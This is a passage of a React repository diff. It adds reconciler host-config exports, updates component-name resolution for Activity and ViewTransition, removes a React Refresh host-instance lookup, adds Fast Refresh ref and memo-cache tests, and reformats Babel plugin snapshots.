+export const measureInstance = $$$config.measureInstance;
+export const measureClonedInstance = $$$config.measureClonedInstance;
+export const wasInstanceInViewport = $$$config.wasInstanceInViewport;
+export const hasInstanceChanged = $$$config.hasInstanceChanged;
+export const hasInstanceAffectedParent = $$$config.hasInstanceAffectedParent;
+export const startViewTransition = $$$config.startViewTransition;
+export const startGestureTransition = $$$config.startGestureTransition;
+export const stopViewTransition = $$$config.stopViewTransition;
+export const addViewTransitionFinishedListener =
+  $$$config.addViewTransitionFinishedListener;
+export const getCurrentGestureOffset = $$$config.getCurrentGestureOffset;
+export const createViewTransitionInstance =
+  $$$config.createViewTransitionInstance;
+export const clearContainer = $$$config.clearContainer;
+export const createFragmentInstance = $$$config.createFragmentInstance;
+export const updateFragmentInstanceFiber =
+  $$$config.updateFragmentInstanceFiber;
+export const commitNewChildToFragmentInstance =
+  $$$config.commitNewChildToFragmentInstance;
+export const deleteChildFromFragmentInstance =
+  $$$config.deleteChildFromFragmentInstance;
+
+// -------------------
+//     Persistence
+//     (optional)
+// -------------------
+export const cloneInstance = $$$config.cloneInstance;
+export const createContainerChildSet = $$$config.createContainerChildSet;
+export const appendChildToContainerChildSet =
+  $$$config.appendChildToContainerChildSet;
+export const finalizeContainerChildren = $$$config.finalizeContainerChildren;
+export const replaceContainerChildren = $$$config.replaceContainerChildren;
+export const cloneHiddenInstance = $$$config.cloneHiddenInstance;
+export const cloneHiddenTextInstance = $$$config.cloneHiddenTextInstance;
+
+// -------------------
+//     Hydration
+//     (optional)
+// -------------------
+export const isSuspenseInstancePending = $$$config.isSuspenseInstancePending;
+export const isSuspenseInstanceFallback = $$$config.isSuspenseInstanceFallback;
+export const getSuspenseInstanceFallbackErrorDetails =
+  $$$config.getSuspenseInstanceFallbackErrorDetails;
+export const registerSuspenseInstanceRetry =
+  $$$config.registerSuspenseInstanceRetry;
+export const canHydrateFormStateMarker = $$$config.canHydrateFormStateMarker;
+export const isFormStateMarkerMatching = $$$config.isFormStateMarkerMatching;
+export const getNextHydratableSibling = $$$config.getNextHydratableSibling;
+export const getNextHydratableSiblingAfterSingleton =
+  $$$config.getNextHydratableSiblingAfterSingleton;
+export const getFirstHydratableChild = $$$config.getFirstHydratableChild;
+export const getFirstHydratableChildWithinContainer =
+  $$$config.getFirstHydratableChildWithinContainer;
+export const getFirstHydratableChildWithinActivityInstance =
+  $$$config.getFirstHydratableChildWithinActivityInstance;
+export const getFirstHydratableChildWithinSuspenseInstance =
+  $$$config.getFirstHydratableChildWithinSuspenseInstance;
+export const getFirstHydratableChildWithinSingleton =
+  $$$config.getFirstHydratableChildWithinSingleton;
+export const canHydrateInstance = $$$config.canHydrateInstance;
+export const canHydrateTextInstance = $$$config.canHydrateTextInstance;
+export const canHydrateActivityInstance = $$$config.canHydrateActivityInstance;
+export const canHydrateSuspenseInstance = $$$config.canHydrateSuspenseInstance;
+export const hydrateInstance = $$$config.hydrateInstance;
+export const hydrateTextInstance = $$$config.hydrateTextInstance;
+export const hydrateActivityInstance = $$$config.hydrateActivityInstance;
+export const hydrateSuspenseInstance = $$$config.hydrateSuspenseInstance;
+export const getNextHydratableInstanceAfterActivityInstance =
+  $$$config.getNextHydratableInstanceAfterActivityInstance;
+export const getNextHydratableInstanceAfterSuspenseInstance =
+  $$$config.getNextHydratableInstanceAfterSuspenseInstance;
+export const commitHydratedInstance = $$$config.commitHydratedInstance;
+export const commitHydratedContainer = $$$config.commitHydratedContainer;
+export const commitHydratedActivityInstance =
+  $$$config.commitHydratedActivityInstance;
+export const commitHydratedSuspenseInstance =
+  $$$config.commitHydratedSuspenseInstance;
+export const finalizeHydratedChildren = $$$config.finalizeHydratedChildren;
+export const flushHydrationEvents = $$$config.flushHydrationEvents;
+export const clearActivityBoundary = $$$config.clearActivityBoundary;
+export const clearSuspenseBoundary = $$$config.clearSuspenseBoundary;
+export const clearActivityBoundaryFromContainer =
+  $$$config.clearActivityBoundaryFromContainer;
+export const clearSuspenseBoundaryFromContainer =
+  $$$config.clearSuspenseBoundaryFromContainer;
+export const hideDehydratedBoundary = $$$config.hideDehydratedBoundary;
+export const unhideDehydratedBoundary = $$$config.unhideDehydratedBoundary;
+export const shouldDeleteUnhydratedTailInstances =
+  $$$config.shouldDeleteUnhydratedTailInstances;
+export const diffHydratedPropsForDevWarnings =
+  $$$config.diffHydratedPropsForDevWarnings;
+export const diffHydratedTextForDevWarnings =
+  $$$config.diffHydratedTextForDevWarnings;
+export const describeHydratableInstanceForDevWarnings =
+  $$$config.describeHydratableInstanceForDevWarnings;
+export const validateHydratableInstance = $$$config.validateHydratableInstance;
+export const validateHydratableTextInstance =
+  $$$config.validateHydratableTextInstance;
+
+// -------------------
+//     Resources
+//     (optional)
+// -------------------
+export type HoistableRoot = mixed;
+export type Resource = mixed;
+export const supportsResources = $$$config.supportsResources;
+export const isHostHoistableType = $$$config.isHostHoistableType;
+export const getHoistableRoot = $$$config.getHoistableRoot;
+export const getResource = $$$config.getResource;
+export const acquireResource = $$$config.acquireResource;
+export const releaseResource = $$$config.releaseResource;
+export const hydrateHoistable = $$$config.hydrateHoistable;
+export const mountHoistable = $$$config.mountHoistable;
+export const unmountHoistable = $$$config.unmountHoistable;
+export const createHoistableInstance = $$$config.createHoistableInstance;
+export const prepareToCommitHoistables = $$$config.prepareToCommitHoistables;
+export const mayResourceSuspendCommit = $$$config.mayResourceSuspendCommit;
+export const preloadResource = $$$config.preloadResource;
+export const suspendResource = $$$config.suspendResource;
+
+// -------------------
+//     Singletons
+//     (optional)
+// -------------------
+export const supportsSingletons = $$$config.supportsSingletons;
+export const resolveSingletonInstance = $$$config.resolveSingletonInstance;
+export const acquireSingletonInstance = $$$config.acquireSingletonInstance;
+export const releaseSingletonInstance = $$$config.releaseSingletonInstance;
+export const isHostSingletonType = $$$config.isHostSingletonType;
+export const isSingletonScope = $$$config.isSingletonScope;
diff --git a/packages/react-reconciler/src/forks/ReactFiberConfig.test.js b/packages/react-reconciler/src/forks/ReactFiberConfig.test.js
index 85020417c2c7..238434a50df8 100644
--- a/packages/react-reconciler/src/forks/ReactFiberConfig.test.js
+++ b/packages/react-reconciler/src/forks/ReactFiberConfig.test.js
@@ -8,3 +8,4 @@
  */
 
 export * from 'react-test-renderer/src/ReactFiberConfigTestHost';
+export * from 'react-client/src/ReactClientConsoleConfigPlain';
diff --git a/packages/react-reconciler/src/getComponentNameFromFiber.js b/packages/react-reconciler/src/getComponentNameFromFiber.js
index cac247f26912..8719539cfc08 100644
--- a/packages/react-reconciler/src/getComponentNameFromFiber.js
+++ b/packages/react-reconciler/src/getComponentNameFromFiber.js
@@ -13,7 +13,7 @@ import type {Fiber} from './ReactInternalTypes';
 import {
   disableLegacyMode,
   enableLegacyHidden,
-  enableRenderableContext,
+  enableViewTransition,
 } from 'shared/ReactFeatureFlags';
 
 import {
@@ -45,6 +45,8 @@ import {
   CacheComponent,
   TracingMarkerComponent,
   Throw,
+  ViewTransitionComponent,
+  ActivityComponent,
 } from 'react-reconciler/src/ReactWorkTags';
 import getComponentNameFromType from 'shared/getComponentNameFromType';
 import {REACT_STRICT_MODE_TYPE} from 'shared/ReactSymbols';
@@ -83,24 +85,16 @@ export function getComponentNameFromOwner(
 export default function getComponentNameFromFiber(fiber: Fiber): string | null {
   const {tag, type} = fiber;
   switch (tag) {
+    case ActivityComponent:
+      return 'Activity';
     case CacheComponent:
       return 'Cache';
     case ContextConsumer:
-      if (enableRenderableContext) {
-        const consumer: ReactConsumerType<any> = (type: any);
-        return getContextName(consumer._context) + '.Consumer';
-      } else {
-        const context: ReactContext<any> = (type: any);
-        return getContextName(context) + '.Consumer';
-      }
+      const consumer: ReactConsumerType<any> = (type: any);
+      return getContextName(consumer._context) + '.Consumer';
     case ContextProvider:
-      if (enableRenderableContext) {
-        const context: ReactContext<any> = (type: any);
-        return getContextName(context) + '.Provider';
-      } else {
-        const provider = (type: any);
-        return getContextName(provider._context) + '.Provider';
-      }
+      const context: ReactContext<any> = (type: any);
+      return getContextName(context);
     case DehydratedFragment:
       return 'DehydratedFragment';
     case ForwardRef:
@@ -128,7 +122,10 @@ export default function getComponentNameFromFiber(fiber: Fiber): string | null {
       }
       return 'Mode';
     case OffscreenComponent:
-      return 'Offscreen';
+      if (fiber.return !== null) {
+        return getComponentNameFromFiber(fiber.return);
+      }
+      return null;
     case Profiler:
       return 'Profiler';
     case ScopeComponent:
@@ -139,7 +136,12 @@ export default function getComponentNameFromFiber(fiber: Fiber): string | null {
       return 'SuspenseList';
     case TracingMarkerComponent:
       return 'TracingMarker';
+    case ViewTransitionComponent:
+      if (enableViewTransition) {
+        return 'ViewTransition';
+      }
     // The display name for these tags come from the user-provided type:
+    // Fallthrough
     case IncompleteClassComponent:
     case IncompleteFunctionComponent:
       if (disableLegacyMode) {
diff --git a/packages/react-refresh/package.json b/packages/react-refresh/package.json
index e10d6667f57d..105af71485a3 100644
--- a/packages/react-refresh/package.json
+++ b/packages/react-refresh/package.json
@@ -4,7 +4,7 @@
   "keywords": [
     "react"
   ],
-  "version": "0.14.0",
+  "version": "0.19.0",
   "homepage": "https://react.dev/",
   "bugs": "https://github.com/facebook/react/issues",
   "license": "MIT",
diff --git a/packages/react-refresh/src/ReactFreshRuntime.js b/packages/react-refresh/src/ReactFreshRuntime.js
index 48eb2a66015f..079db6594ad7 100644
--- a/packages/react-refresh/src/ReactFreshRuntime.js
+++ b/packages/react-refresh/src/ReactFreshRuntime.js
@@ -7,14 +7,12 @@
  * @flow
  */
 
-import type {Instance} from 'react-reconciler/src/ReactFiberConfig';
 import type {FiberRoot} from 'react-reconciler/src/ReactInternalTypes';
 import type {
   Family,
   RefreshUpdate,
   ScheduleRefresh,
   ScheduleRoot,
-  FindHostInstancesForRefresh,
   SetRefreshHandler,
 } from 'react-reconciler/src/ReactFiberHotReloading';
 import type {ReactNodeList} from 'shared/ReactTypes';
@@ -29,7 +27,6 @@ type Signature = {
 };
 
 type RendererHelpers = {
-  findHostInstancesForRefresh: FindHostInstancesForRefresh,
   scheduleRefresh: ScheduleRefresh,
   scheduleRoot: ScheduleRoot,
   setRefreshHandler: SetRefreshHandler,
@@ -414,34 +411,6 @@ export function getFamilyByType(type: any): Family | void {
   }
 }
 
-export function findAffectedHostInstances(
-  families: Array<Family>,
-): Set<Instance> {
-  if (__DEV__) {
-    const affectedInstances = new Set<Instance>();
-    mountedRoots.forEach(root => {
-      const helpers = helpersByRoot.get(root);
-      if (helpers === undefined) {
-        throw new Error(
-          'Could not find helpers for a root. This is a bug in React Refresh.',
-        );
-      }
-      const instancesForRoot = helpers.findHostInstancesForRefresh(
-        root,
-        families,
-      );
-      instancesForRoot.forEach(inst => {
-        affectedInstances.add(inst);
-      });
-    });
-    return affectedInstances;
-  } else {
-    throw new Error(
-      'Unexpected call to React Refresh in a production environment.',
-    );
-  }
-}
-
 export function injectIntoGlobalHook(globalObject: any): void {
   if (__DEV__) {
     // For React Native, the global hook will be set up by require('react-devtools-core').
@@ -702,8 +671,10 @@ export function isLikelyComponentType(type: any): boolean {
             // This looks like a class.
             return false;
           }
-          // eslint-disable-next-line no-proto
-          if (type.prototype.__proto__ !== Object.prototype) {
+          if (
+            // $FlowFixMe[prop-missing]
+            type.prototype.__proto__ !== Object.prototype // eslint-disable-line no-proto
+          ) {
             // It has a superclass.
             return false;
           }
diff --git a/packages/react-refresh/src/__tests__/ReactFresh-test.js b/packages/react-refresh/src/__tests__/ReactFresh-test.js
index 3415a5d5bbb5..6fb00a66a24b 100644
--- a/packages/react-refresh/src/__tests__/ReactFresh-test.js
+++ b/packages/react-refresh/src/__tests__/ReactFresh-test.js
@@ -7,8 +7,6 @@
  * @emails react-core
  */
 
-/* eslint-disable no-for-of-loops/no-for-of-loops */
-
 'use strict';
 
 let React;
@@ -3409,114 +3407,6 @@ describe('ReactFresh', () => {
     }
   });
 
-  it('can find host instances for a family', async () => {
-    if (__DEV__) {
-      await render(() => {
-        function Child({children}) {
-          return <div className="Child">{children}</div>;
-        }
-        $RefreshReg$(Child, 'Child');
-
-        function Parent({children}) {
-          return (
-            <div className="Parent">
-              <div>
-                <Child />
-              </div>
-              <div>
-                <Child />
-              </div>
-            </div>
-          );
-        }
-        $RefreshReg$(Parent, 'Parent');
-
-        function App() {
-          return (
-            <div className="App">
-              <Parent />
-              <Cls>
-                <Parent />
-              </Cls>
-              <Indirection>
-                <Empty />
-              </Indirection>
-            </div>
-          );
-        }
-        $RefreshReg$(App, 'App');
-
-        class Cls extends React.Component {
-          render() {
-            return this.props.children;
-          }
-        }
-
-        function Indirection({children}) {
-          return children;
-        }
-
-        function Empty() {
-          return null;
-        }
-        $RefreshReg$(Empty, 'Empty');
-
-        function Frag() {
-          return (
-            <>
-              <div className="Frag">
-                <div />
-              </div>
-              <div className="Frag">
-                <div />
-              </div>
-            </>
-          );
-        }
-        $RefreshReg$(Frag, 'Frag');
-
-        return App;
-      });
-
-      const parentFamily = ReactFreshRuntime.getFamilyByID('Parent');
-      const childFamily = ReactFreshRuntime.getFamilyByID('Child');
-      const emptyFamily = ReactFreshRuntime.getFamilyByID('Empty');
-
-      testFindHostInstancesForFamilies(
-        [parentFamily],
-        container.querySelectorAll('.Parent'),
-      );
-
-      testFindHostInstancesForFamilies(
-        [childFamily],
-        container.querySelectorAll('.Child'),
-      );
-
-      // When searching for both Parent and Child,
-      // we'll stop visual highlighting at the Parent.
-      testFindHostInstancesForFamilies(
-        [parentFamily, childFamily],
-        container.querySelectorAll('.Parent'),
-      );
-
-      // When we can't find host nodes, use the closest parent.
-      testFindHostInstancesForFamilies(
-        [emptyFamily],
-        container.querySelectorAll('.App'),
-      );
-    }
-  });
-
-  function testFindHostInstancesForFamilies(families, expectedNodes) {
-    const foundInstances = Array.from(
-      ReactFreshRuntime.findAffectedHostInstances(families),
-    );
-    expect(foundInstances.length).toEqual(expectedNodes.length);
-    foundInstances.forEach((node, i) => {
-      expect(node).toBe(expectedNodes[i]);
-    });
-  }
-
   it('can update multiple roots independently', async () => {
     if (__DEV__) {
       // Declare the first version.
diff --git a/packages/react-refresh/src/__tests__/ReactFreshIntegration-test.js b/packages/react-refresh/src/__tests__/ReactFreshIntegration-test.js
index 04f89e5628a6..cbadf5ec79e4 100644
--- a/packages/react-refresh/src/__tests__/ReactFreshIntegration-test.js
+++ b/packages/react-refresh/src/__tests__/ReactFreshIntegration-test.js
@@ -7,8 +7,6 @@
  * @emails react-core
  */
 
-/* eslint-disable no-for-of-loops/no-for-of-loops */
-
 'use strict';
 
 let React;
@@ -307,6 +305,256 @@ describe('ReactFreshIntegration', () => {
       }
     });
 
+    // @gate __DEV__
+    it('ignores ref for class component in hidden subtree', async () => {
+      const code = `
+        import {Activity} from 'react';
+
+        // Avoid creating a new class on Fast Refresh.
+        global.A = global.A ?? class A extends React.Component {
+          render() {
+            return <div />;
+          }
+        }
+        const A = global.A;
+
+        function hiddenRef() {
+          throw new Error('Unexpected hiddenRef() invocation.');
+        }
+
+        export default function App() {
+          return (
+            <Activity mode="hidden">
+              <A ref={hiddenRef} />
+            </Activity>
+          );
+        };
+      `;
+
+      await render(code);
+      await patch(code);
+    });
+
+    // @gate __DEV__
+    it('ignores ref for hoistable resource in hidden subtree', async () => {
+      const code = `
+        import {Activity} from 'react';
+
+        function hiddenRef() {
+          throw new Error('Unexpected hiddenRef() invocation.');
+        }
+
+        export default function App() {
+          return (
+            <Activity mode="hidden">
+              <link rel="preload" href="foo" ref={hiddenRef} />
+            </Activity>
+          );
+        };
+      `;
+
+      await render(code);
+      await patch(code);
+    });
+
+    // @gate __DEV__
+    it('ignores ref for host component in hidden subtree', async () => {
+      const code = `
+        import {Activity} from 'react';
+
+        function hiddenRef() {
+          throw new Error('Unexpected hiddenRef() invocation.');
+        }
+
+        export default function App() {
+          return (
+            <Activity mode="hidden">
+              <div ref={hiddenRef} />
+            </Activity>
+          );
+        };
+      `;
+
+      await render(code);
+      await patch(code);
+    });
+
+    // @gate __DEV__
+    it('ignores ref for Activity in hidden subtree', async () => {
+      const code = `
+        import {Activity} from 'react';
+
+        function hiddenRef(value) {
+          throw new Error('Unexpected hiddenRef() invocation.');
+        }
+
+        export default function App() {
+          return (
+            <Activity mode="hidden">
+              <Activity mode="visible" ref={hiddenRef}>
+                <div />
+              </Activity>
+            </Activity>
+          );
+        };
+      `;
+
+      await render(code);
+      await patch(code);
+    });
+
+    // @gate __DEV__
+    it('ignores ref for Scope in hidden subtree', async () => {
+      const code = `
+        import {
+          Activity,
+          unstable_Scope as Scope,
+        } from 'react';
+
+        function hiddenRef(value) {
+          throw new Error('Unexpected hiddenRef() invocation.');
+        }
+
+        export default function App() {
+          return (
+            <Activity mode="hidden">
+              <Scope ref={hiddenRef}>
+                <div />
+              </Scope>
+            </Activity>
+          );
+        };
+      `;
+
+      await render(code);
+      await patch(code);
+    });
+
+    // @gate __DEV__
+    it('ignores ref for functional component in hidden subtree', async () => {
+      const code = `
+        import {Activity} from 'react';
+
+        // Avoid creating a new component on Fast Refresh.
+        global.A = global.A ?? function A() {
+          return <div />;
+        }
+        const A = global.A;
+
+        function hiddenRef() {
+          throw new Error('Unexpected hiddenRef() invocation.');
+        }
+
+        export default function App() {
+          return (
+            <Activity mode="hidden">
+              <A ref={hiddenRef} />
+            </Activity>
+          );
+        };
+      `;
+
+      await render(code);
+      await patch(code);
+    });
+
+    // @gate __DEV__
+    it('ignores ref for ref forwarding component in hidden subtree', async () => {
+      const code = `
+        import {
+          forwardRef,
+          Activity,
+        } from 'react';
+
+        // Avoid creating a new component on Fast Refresh.
+        global.A = global.A ?? forwardRef(function A(props, ref) {
+          return <div ref={ref} />;
+        });
+        const A = global.A;
+
+        function hiddenRef() {
+          throw new Error('Unexpected hiddenRef() invocation.');
+        }
+
+        export default function App() {
+          return (
+            <Activity mode="hidden">
+              <A ref={hiddenRef} />
+            </Activity>
+          );
+        };
+      `;
+
+      await render(code);
+      await patch(code);
+    });
+
+    // @gate __DEV__
+    it('ignores ref for simple memo component in hidden subtree', async () => {
+      const code = `
+        import {
+          memo,
+          Activity,
+        } from 'react';
+
+        // Avoid creating a new component on Fast Refresh.
+        global.A = global.A ?? memo(function A() {
+          return <div />;
+        });
+        const A = global.A;
+
+        function hiddenRef() {
+          throw new Error('Unexpected hiddenRef() invocation.');
+        }
+
+        export default function App() {
+          return (
+            <Activity mode="hidden">
+              <A ref={hiddenRef} />
+            </Activity>
+          );
+        };
+      `;
+
+      await render(code);
+      await patch(code);
+    });
+
+    // @gate __DEV__
+    it('ignores ref for memo component in hidden subtree', async () => {
+      // A custom compare function means this won't use SimpleMemoComponent.
+      const code = `
+        import {
+          memo,
+          Activity,
+        } from 'react';
+
+        // Avoid creating a new component on Fast Refresh.
+        global.A = global.A ?? memo(
+          function A() {
+            return <div />;
+          },
+          () => false,
+        );
+        const A = global.A;
+
+        function hiddenRef() {
+          throw new Error('Unexpected hiddenRef() invocation.');
+        }
+
+        export default function App() {
+          return (
+            <Activity mode="hidden">
+              <A ref={hiddenRef} />
+            </Activity>
+          );
+        };
+      `;
+
+      await render(code);
+      await patch(code);
+    });
+
     it('reloads HOCs if they return functions', async () => {
       if (__DEV__) {
         await render(`
@@ -1639,6 +1887,60 @@ describe('ReactFreshIntegration', () => {
       }
     });
 
+    it('resets useMemoCache cache slots', async () => {
+      if (__DEV__) {
+        await render(`
+          const useMemoCache = require('react/compiler-runtime').c;
+          let cacheMisses = 0;
+          const cacheMiss = (id) => {
+            cacheMisses++;
+            return id;
+          };
+          export default function App(t0) {
+            const $ = useMemoCache(1);
+            const {reset1} = t0;
+            let t1;
+            if ($[0] !== reset1) {
+              $[0] = t1 = cacheMiss({reset1});
+            } else {
+              t1 = $[1];
+            }
+            return <h1>{cacheMisses}</h1>;
+          }
+        `);
+        const el = container.firstChild;
+        expect(el.textContent).toBe('1');
+        await patch(`
+          const useMemoCache = require('react/compiler-runtime').c;
+          let cacheMisses = 0;
+          const cacheMiss = (id) => {
+            cacheMisses++;
+            return id;
+          };
+          export default function App(t0) {
+            const $ = useMemoCache(2);
+            const {reset1, reset2} = t0;
+            let t1;
+            if ($[0] !== reset1) {
+              $[0] = t1 = cacheMiss({reset1});
+            } else {
+              t1 = $[1];
+            }
+            let t2;
+            if ($[1] !== reset2) {
+              $[1] = t2 = cacheMiss({reset2});
+            } else {
+              t2 = $[1];
+            }
+            return <h1>{cacheMisses}</h1>;
+          }
+        `);
+        expect(container.firstChild).toBe(el);
+        // cache size changed between refreshes
+        expect(el.textContent).toBe('2');
+      }
+    });
+
     describe('with inline requires', () => {
       beforeEach(() => {
         global.FakeModuleSystem = {};
diff --git a/packages/react-refresh/src/__tests__/__snapshots__/ReactFreshBabelPlugin-test.js.snap b/packages/react-refresh/src/__tests__/__snapshots__/ReactFreshBabelPlugin-test.js.snap
index 7b18834ae495..4f0979100339 100644
--- a/packages/react-refresh/src/__tests__/__snapshots__/ReactFreshBabelPlugin-test.js.snap
+++ b/packages/react-refresh/src/__tests__/__snapshots__/ReactFreshBabelPlugin-test.js.snap
@@ -2,62 +2,43 @@
 
 exports[`ReactFreshBabelPlugin can handle implicit arrow returns 1`] = `
 var _s = $RefreshSig$(),
-    _s2 = $RefreshSig$(),
-    _s3 = $RefreshSig$(),
-    _s4 = $RefreshSig$(),
-    _s5 = $RefreshSig$(),
-    _s6 = $RefreshSig$();
-
+  _s2 = $RefreshSig$(),
+  _s3 = $RefreshSig$(),
+  _s4 = $RefreshSig$(),
+  _s5 = $RefreshSig$(),
+  _s6 = $RefreshSig$();
 export default _s(() => {
   _s();
-
   return useContext(X);
 }, "useContext{}");
 export const Foo = () => {
   _s2();
-
   return useContext(X);
 };
-
 _s2(Foo, "useContext{}");
-
 _c = Foo;
 module.exports = _s3(() => {
   _s3();
-
   return useContext(X);
 }, "useContext{}");
-
 const Bar = () => {
   _s4();
-
   return useContext(X);
 };
-
 _s4(Bar, "useContext{}");
-
 _c2 = Bar;
-
 const Baz = _s5(memo(_c3 = _s5(() => {
   _s5();
-
   return useContext(X);
 }, "useContext{}")), "useContext{}");
-
 _c4 = Baz;
-
 const Qux = () => {
   _s6();
-
   return 0, useContext(X);
 };
-
 _s6(Qux, "useContext{}");
-
 _c5 = Qux;
-
 var _c, _c2, _c3, _c4, _c5;
-
 $RefreshReg$(_c, "Foo");
 $RefreshReg$(_c2, "Bar");
 $RefreshReg$(_c3, "Baz$memo");
@@ -67,7 +48,6 @@ $RefreshReg$(_c5, "Qux");
 
 exports[`ReactFreshBabelPlugin does not consider require-like methods to be HOCs 1`] = `
 const A = require('A');
-
 const B = foo ? require('X') : require('Y');
 const C = requireCond(gk, 'C');
 const D = import('D');
@@ -80,19 +60,15 @@ export default function App() {
             </div>;
 }
 _c = App;
-
 var _c;
-
 $RefreshReg$(_c, "App");
 `;
 
 exports[`ReactFreshBabelPlugin does not get tripped by IIFEs 1`] = `
 while (item) {
   var _s = $RefreshSig$();
-
   _s(item => {
     _s();
-
     useFoo();
   }, "useFoo{}", true)(item);
 }
@@ -100,31 +76,23 @@ while (item) {
 
 exports[`ReactFreshBabelPlugin generates signatures for function declarations calling hooks 1`] = `
 var _s = $RefreshSig$();
-
 export default function App() {
   _s();
-
   const [foo, setFoo] = useState(0);
   React.useEffect(() => {});
   return <h1>{foo}</h1>;
 }
-
 _s(App, "useState{[foo, setFoo](0)}\\nuseEffect{}");
-
 _c = App;
-
 var _c;
-
 $RefreshReg$(_c, "App");
 `;
 
 exports[`ReactFreshBabelPlugin generates signatures for function expressions calling hooks 1`] = `
 var _s = $RefreshSig$(),
-    _s2 = $RefreshSig$();
-
+  _s2 = $RefreshSig$();
 export const A = _s(React.memo(_c2 = _s(React.forwardRef(_c = _s((props, ref) => {
   _s();
-
   const [foo, setFoo] = useState(0);
   React.useEffect(() => {});
   return <h1 ref={ref}>{foo}</h1>;
@@ -132,29 +100,22 @@ export const A = _s(React.memo(_c2 = _s(React.forwardRef(_c = _s((props, ref) =>
 _c3 = A;
 export const B = _s2(React.memo(_c5 = _s2(React.forwardRef(_c4 = _s2(function (props, ref) {
   _s2();
-
   const [foo, setFoo] = useState(0);
   React.useEffect(() => {});
   return <h1 ref={ref}>{foo}</h1>;
 }, "useState{[foo, setFoo](0)}\\nuseEffect{}")), "useState{[foo, setFoo](0)}\\nuseEffect{}")), "useState{[foo, setFoo](0)}\\nuseEffect{}");
 _c6 = B;
-
 function hoc() {
   var _s3 = $RefreshSig$();
-
   return _s3(function Inner() {
     _s3();
-
     const [foo, setFoo] = useState(0);
     React.useEffect(() => {});
     return <h1 ref={ref}>{foo}</h1>;
   }, "useState{[foo, setFoo](0)}\\nuseEffect{}");
 }
-
 export let C = hoc();
-
 var _c, _c2, _c3, _c4, _c5, _c6;
-
 $RefreshReg$(_c, "A$React.memo$React.forwardRef");
 $RefreshReg$(_c2, "A$React.memo");
 $RefreshReg$(_c3, "A");
@@ -165,38 +126,28 @@ $RefreshReg$(_c6, "B");
 
 exports[`ReactFreshBabelPlugin generates valid signature for exotic ways to call Hooks 1`] = `
 var _s2 = $RefreshSig$();
-
 import FancyHook from 'fancy';
 export default function App() {
   _s2();
-
   var _s = $RefreshSig$();
-
   function useFancyState() {
     _s();
-
     const [foo, setFoo] = React.useState(0);
     useFancyEffect();
     return foo;
   }
-
   _s(useFancyState, "useState{[foo, setFoo](0)}\\nuseFancyEffect{}", true);
-
   const bar = useFancyState();
   const baz = FancyHook.useThing();
   React.useState();
   useThePlatform();
   return <h1>{bar}{baz}</h1>;
 }
-
 _s2(App, "useFancyState{bar}\\nuseThing{baz}\\nuseState{}\\nuseThePlatform{}", true, function () {
   return [FancyHook.useThing];
 });
-
 _c = App;
-
 var _c;
-
 $RefreshReg$(_c, "App");
 `;
 
@@ -204,21 +155,16 @@ exports[`ReactFreshBabelPlugin ignores HOC definitions 1`] = `
 let connect = () => {
   function Comp() {
     const handleClick = () => {};
-
     return <h1 onClick={handleClick}>Hi</h1>;
   }
-
   return Comp;
 };
-
 function withRouter() {
   return function Child() {
     const handleClick = () => {};
-
     return <h1 onClick={handleClick}>Hi</h1>;
   };
 }
-
 ;
 `;
 
@@ -226,15 +172,12 @@ exports[`ReactFreshBabelPlugin ignores complex definitions 1`] = `
 let A = foo ? () => {
   return <h1>Hi</h1>;
 } : null;
-
 const B = function Foo() {
   return <h1>Hi</h1>;
 }();
-
 let C = () => () => {
   return <h1>Hi</h1>;
 };
-
 let D = bar && (() => {
   return <h1>Hi</h1>;
 });
@@ -244,11 +187,9 @@ exports[`ReactFreshBabelPlugin ignores higher-order functions that are not HOCs
 const throttledAlert = throttle(function () {
   alert('Hi');
 });
-
 const TooComplex = function () {
   return hello;
 }(() => {});
-
 if (cond) {
   const Foo = thing(() => {});
 }
@@ -258,44 +199,32 @@ exports[`ReactFreshBabelPlugin ignores unnamed function declarations 1`] = `expo
 
 exports[`ReactFreshBabelPlugin includes custom hooks into the signatures 1`] = `
 var _s = $RefreshSig$(),
-    _s2 = $RefreshSig$(),
-    _s3 = $RefreshSig$();
-
+  _s2 = $RefreshSig$(),
+  _s3 = $RefreshSig$();
 function useFancyState() {
   _s();
-
   const [foo, setFoo] = React.useState(0);
   useFancyEffect();
   return foo;
 }
-
 _s(useFancyState, "useState{[foo, setFoo](0)}\\nuseFancyEffect{}", false, function () {
   return [useFancyEffect];
 });
-
 const useFancyEffect = () => {
   _s2();
-
   React.useEffect(() => {});
 };
-
 _s2(useFancyEffect, "useEffect{}");
-
 export default function App() {
   _s3();
-
   const bar = useFancyState();
   return <h1>{bar}</h1>;
 }
-
 _s3(App, "useFancyState{bar}", false, function () {
   return [useFancyState];
 });
-
 _c = App;
-
 var _c;
-
 $RefreshReg$(_c, "App");
 `;
 
@@ -306,26 +235,18 @@ Object.defineProperty(exports, "__esModule", {
   value: true
 });
 exports.default = App;
-
 var _hooks = require("./hooks");
-
 var _s = $RefreshSig$();
-
 function App() {
   _s();
-
   const bar = (0, _hooks.useFancyState)();
   return <h1>{bar}</h1>;
 }
-
 _s(App, "useFancyState{bar}", false, function () {
   return [_hooks.useFancyState];
 });
-
 _c = App;
-
 var _c;
-
 $RefreshReg$(_c, "App");
 `;
 
@@ -339,16 +260,13 @@ exports[`ReactFreshBabelPlugin registers capitalized identifiers in HOC calls 1`
 function Foo() {
   return <h1>Hi</h1>;
 }
-
 _c = Foo;
 export default _c2 = hoc(Foo);
 export const A = hoc(Foo);
 _c3 = A;
 const B = hoc(Foo);
 _c4 = B;
-
 var _c, _c2, _c3, _c4;
-
 $RefreshReg$(_c, "Foo");
 $RefreshReg$(_c2, "%default%");
 $RefreshReg$(_c3, "A");
@@ -375,21 +293,17 @@ const FunnyFactory = funny.factory\`\`;
 let Alias1 = A;
 let Alias2 = A.Foo;
 const Dict = {};
-
 function Foo() {
   return <div><A /><B /><StyledFactory1 /><StyledFactory2 /><StyledFactory3 /><Alias1 /><Alias2 /><Header /><Dict.X /></div>;
 }
-
 _c5 = Foo;
-const B = hoc(A); // This is currently registered as a false positive:
-
+const B = hoc(A);
+// This is currently registered as a false positive:
 _c6 = B;
-const NotAComponent = wow(A); // We could avoid it but it also doesn't hurt.
-
+const NotAComponent = wow(A);
+// We could avoid it but it also doesn't hurt.
 _c7 = NotAComponent;
-
 var _c, _c2, _c3, _c4, _c5, _c6, _c7;
-
 $RefreshReg$(_c, "Header");
 $RefreshReg$(_c2, "StyledFactory1");
 $RefreshReg$(_c3, "StyledFactory2");
@@ -419,22 +333,18 @@ const FunnyFactory = funny.factory\`\`;
 let Alias1 = A;
 let Alias2 = A.Foo;
 const Dict = {};
-
 function Foo() {
